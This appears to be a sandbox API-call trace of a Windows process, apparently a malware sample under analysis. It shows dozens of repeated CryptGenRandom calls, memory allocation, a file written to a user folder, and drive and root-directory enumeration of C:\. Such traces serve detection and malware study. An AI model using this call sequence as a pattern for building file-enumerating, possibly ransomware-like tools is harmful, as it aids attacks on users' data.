	[0050.042] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.042] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.043] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.044] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.045] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.045] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.046] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.047] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.048] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.048] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.049] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.050] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.050] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.051] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.052] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.052] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.053] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.054] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.054] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.055] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.056] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.057] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.057] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.058] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.059] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.059] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.060] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.061] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.061] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.062] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.063] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.064] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.064] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.065] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.066] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.067] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.067] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.068] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.069] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.069] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.070] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.071] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.072] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.072] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.073] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.074] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.074] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.075] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.076] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.076] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.077] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.078] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.079] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.079] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.080] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.081] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.081] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.082] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.083] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.084] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.084] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.085] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.086] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.086] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.087] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.101] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.102] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.103] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.103] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.104] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.105] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.106] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.106] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.107] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.108] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.108] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.109] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.110] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.110] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.111] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.112] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.113] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.113] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.114] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.115] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.115] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.116] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.116] VirtualAlloc (lpAddress=0x12680000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0x12680000
	[0050.119] VirtualAlloc (lpAddress=0x11108000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x11108000
	[0050.120] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.120] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.121] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.122] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x125b1a80 | out: pbBuffer=0x125b1a80) returned 1
	[0050.137] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x35, pbBuffer=0x1252a602 | out: pbBuffer=0x1252a602) returned 1
	[0050.137] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x1, pbBuffer=0x1252a60c | out: pbBuffer=0x1252a60c) returned 1
	[0050.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x35, pbBuffer=0x1252a902 | out: pbBuffer=0x1252a902) returned 1
	[0050.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x35, pbBuffer=0x1252ac02 | out: pbBuffer=0x1252ac02) returned 1
	[0050.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x1, pbBuffer=0x1252ac04 | out: pbBuffer=0x1252ac04) returned 1
	[0050.138] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x1, pbBuffer=0x1252ac0b | out: pbBuffer=0x1252ac0b) returned 1
	[0050.139] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x35, pbBuffer=0x1252af02 | out: pbBuffer=0x1252af02) returned 1
	[0050.139] CryptGenRandom (in: hProv=0x7eb388, dwLen=0xa6, pbBuffer=0x1252b202 | out: pbBuffer=0x1252b202) returned 1
	[0050.139] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x1, pbBuffer=0x1252b20f | out: pbBuffer=0x1252b20f) returned 1
	[0050.140] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126e6000*, nNumberOfCharsToWrite=0x6b6, lpNumberOfCharsWritten=0x123ed9d4, lpReserved=0x0 | out: lpBuffer=0x126e6000*, lpNumberOfCharsWritten=0x123ed9d4*=0x6b6) returned 1
	[0050.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\windows" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\windows"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0050.149] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123ede18 | out: lpMode=0x123ede18) returned 0
	[0050.150] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282
	[0050.150] WriteFile (in: hFile=0xc0, lpBuffer=0x126c1c00*, nNumberOfBytesToWrite=0x6ac, lpNumberOfBytesWritten=0x123ede08, lpOverlapped=0x0 | out: lpBuffer=0x126c1c00*, lpNumberOfBytesWritten=0x123ede08*=0x6ac, lpOverlapped=0x0) returned 1
	[0050.151] CloseHandle (hObject=0xc0) returned 1
	[0050.152] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x124e13b0*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x123ed998, lpReserved=0x0 | out: lpBuffer=0x124e13b0*, lpNumberOfCharsWritten=0x123ed998*=0x34) returned 1
	[0050.158] GetFileAttributesExW (in: lpFileName="A:\\" (normalized: "a:"), fInfoLevelId=0x0, lpFileInformation=0x125035e8 | out: lpFileInformation=0x125035e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.162] GetFileAttributesExW (in: lpFileName="B:\\" (normalized: "b:"), fInfoLevelId=0x0, lpFileInformation=0x12503638 | out: lpFileInformation=0x12503638*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.162] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x12503688 | out: lpFileInformation=0x12503688*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0050.162] CreateFileW (lpFileName="C:\\" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.162] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435
	[0050.162] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x123edaa8 | out: lpFindFileData=0x123edaa8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7eb938
	[0050.163] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf2fbb600, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf2fbb600, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0050.163] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123edac8 | out: lpFindFileData=0x123edac8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
